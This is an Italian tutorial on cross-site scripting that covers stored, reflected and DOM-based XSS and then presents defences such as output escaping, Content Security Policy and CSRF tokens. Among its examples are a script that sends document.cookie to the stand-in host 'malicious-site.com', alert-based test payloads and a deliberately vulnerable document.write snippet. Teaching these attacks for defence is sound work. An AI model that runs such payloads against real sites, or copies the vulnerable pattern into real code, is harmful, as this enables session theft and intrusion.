Gli attacchi XSS (Cross-site scripting) sono tra le vulnerabilità più diffuse nelle applicazioni web. In questo articolo approfondiremo cos'è un attacco XSS, quali tipologie esistono, come funziona, e vedremo esempi pratici di codice per comprenderne meglio il funzionamento. Infine, illustreremo come proteggere il tuo sito web da queste minacce informatiche.
Il Cross-site scripting (XSS) è un attacco informatico in cui un malintenzionato inserisce codice malevolo, generalmente JavaScript, all’interno di una pagina web affidabile. Quando un utente visualizza questa pagina, il codice malevolo viene eseguito direttamente nel browser della vittima, consentendo all’attaccante di sottrarre informazioni sensibili, rubare sessioni o effettuare operazioni indesiderate.
Gli attacchi XSS si suddividono principalmente in tre categorie:
Il codice malevolo viene memorizzato nel server e si esegue automaticamente quando la pagina infetta viene caricata.
Esempio di Stored XSS:
<!-- Un commento malevolo inserito in un forum --> <script> document.location='http://malicious-site.com?cookie='+document.cookie; </script>
Questo tipo è molto pericoloso perché può colpire tutti gli utenti che visualizzano la pagina compromessa.
Il codice malevolo è incluso direttamente nella richiesta HTTP (solitamente tramite link malevolo) e riflesso immediatamente nella risposta.
Esempio di Reflected XSS:
URL malevolo:
http://esempio.com/ricerca?q=<script>alert('XSS')</script>
Se il parametro q
non viene correttamente sanificato, il codice JavaScript verrà eseguito nel browser dell'utente.
In questa variante, il codice malevolo viene eseguito direttamente sul client senza essere inviato al server. Accade quando JavaScript gestisce in modo improprio dati non sanificati.
Esempio di DOM-based XSS:
<script> var param = location.hash.substr(1); document.write("Benvenuto " + param); </script>
URL malevolo:
http://esempio.com/#<script>alert('XSS')</script>
Gli attacchi XSS avvengono principalmente quando un'applicazione web non sanifica correttamente l'input fornito dagli utenti. Il codice malevolo sfrutta questa vulnerabilità per inserirsi nella pagina web ed essere eseguito nel browser delle vittime. In questo modo, l'attaccante può:
Per prevenire attacchi XSS è necessario adottare alcune strategie chiave di sicurezza:
È fondamentale sanificare sempre i dati inseriti dagli utenti prima di visualizzarli sulla pagina web:
Esempio PHP:
// Sanificazione input $commento_sicuro = htmlspecialchars($commento, ENT_QUOTES, 'UTF-8'); echo $commento_sicuro;
Implementare una Content Security Policy aiuta a limitare le origini consentite per eseguire script e previene l’esecuzione di codice dannoso:
Esempio HTTP Header:
Content-Security-Policy: script-src 'self'; object-src 'none';
Assicurarsi che l'output dei dati utente sia correttamente codificato per evitare esecuzioni accidentali:
Esempio JavaScript:
// Codifica sicura const nomeUtente = "<script>alert('XSS');</script>"; document.getElementById('user').textContent = nomeUtente;
Implementare token anti-CSRF per proteggere le richieste e prevenire attacchi combinati XSS/CSRF:
Esempio token CSRF in PHP:
session_start(); $_SESSION['token'] = bin2hex(random_bytes(32));
Un firewall delle applicazioni web può rilevare e bloccare attacchi XSS prima che raggiungano l'applicazione.
Aggiornare regolarmente il software e i framework aiuta a correggere vulnerabilità note e a proteggersi da attacchi informatici.
Informare gli utenti sui rischi di cliccare su link sospetti o inserire dati sensibili su pagine web non affidabili può ridurre significativamente il rischio.
Gli attacchi XSS rappresentano una minaccia concreta e diffusa sul web. Tuttavia, adottando le best practice illustrate e strumenti adeguati è possibile proteggere efficacemente la tua applicazione e garantire la sicurezza dei tuoi utenti.